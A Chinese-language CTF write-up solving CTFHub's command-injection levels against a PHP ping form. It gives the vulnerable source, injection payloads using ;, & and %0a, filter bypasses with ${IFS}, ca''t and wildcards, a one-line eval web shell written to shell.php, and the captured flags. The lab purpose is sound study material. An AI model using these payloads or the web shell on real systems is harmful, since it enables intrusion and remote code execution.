CTFHub

命令注入:

1.进入页面,测试127.0.0.1,

关键代码:

<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {// 传入ip,
    $cmd = "ping -c 4 {$_GET['ip']}";// 运行命令,可以拼接
    exec($cmd, $res);// 执行cmd,把结果输出到res
}

if ($res) {
    print_r($res);// 打印结果
}
show_source(__FILE__);
?>

2.构造payload,

127.0.0.1&ls

3.查看php文件,发现无回显(其实是使用了base64编码),查看源代码,得到flag,

127.0.0.1&cat 210541730730303.php
127.0.0.1&cat 210541730730303.php | base64

flag:

ctfhub{5436702e5cde577d4e9ef18d9ad40349515cbf3a}

或:

构造一句话,用蚁剑连接,得到flag,

127.0.0.1 &echo "<?php @eval($_POST['a']);?>" >> shell.php

过滤cat:

1.进入页面,测试命令,

127.0.0.1&ls

2.由题目可知,过滤了cat,命令如下,

127.0.0.1&ca	 flag_21289172249170.php | base64

127.0.0.1 &echo "<?php @eval($_POST['a']);?>" >> shell.php
//上传一句话,用蚁剑连接

flag:

ctfhub{e187c21c72bd29ad7e816f1075fe1f815b51f18f}

补充:

cat 由第一行开始显示内容,并将所有内容输出

tac 从最后一行倒序显示内容,并将所有内容输出

more 根据窗口大小,一页一页的现实文件内容

less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符

head 只显示头几行

tail 只显示最后几行

nl 类似于cat -n,显示时输出行号

tailf 类似于tail -f

过滤空格:

1.进入页面,拼接命令,查看目录,

127.0.0.1&ls

2.由题目可知过滤了空格,考虑可以替换空格的字符,拼接命令,得到flag,

IFS$9%09<><>、
{,}、
%20、
${IFS}

命令(举例):

127.0.0.1&cat${IFS}flag_102021121611290.php

flag:

ctfhub{0200e31e461e9a383bb302d32aef61607d5bd39d}

过滤目录分隔符:

1.进入页面,拼接命令,查看目录,

2.由于过滤了目录分隔符,先进入该目录,查看目录,发现php文件,

127.0.0.1&cd flag_is_here&&ls

;cd flag_is_here&&ls

3.查看php文件,得到flag,

;cd flag_is_here&&cat flag_302352460411609.php

flag:

ctfhub{459a7b8b38544556938964f163d9b008304ca51d}

过滤运算符:

1.进入页面,过滤了一对符号,直接,

;ls

2.发现php文件直接出来了,读取就完事儿了,

;cat flag_44482022017796.php

127.0.0.1; base64 flag_297281061019145.php

flag:

ctfhub{e03cf17d8991d33a67fd3038db5fa53dd39ded1c}

综合过滤练习:

1.进入页面,根据过滤函数可知,过滤了如下关键词,

|,&,;, ,/,cat,flag,ctfhub

2.提交如下命令并抓包,抓包后发送到repeater模块,将&改为%0a,GO一下,发现flag_is_here目录,

127.0.0.1&ls

3.查看目录下的内容,发现flag.php文件,

127.0.0.1%0als${IFS}fl*$ag_is_here

4.查看文件,得到flag,

127.0.0.1%0acd${IFS}fl$*ag_is_here%0amore${IFS}fl$*ag_154412024616707.php

//其中cat用more替换,也可以使用ca''t

flag:

ctfhub{06ce07f172f0097961f14a73947c19db7577a52a}

补充:

在linux下,命令分隔符除了;还有%0a

空格可以用${IFS}

flag可以用正则f***或者fl$*ag_id_here这样替代。

cat可以用more或者ca''t
原文地址:https://www.cnblogs.com/3cH0-Nu1L/p/13822007.html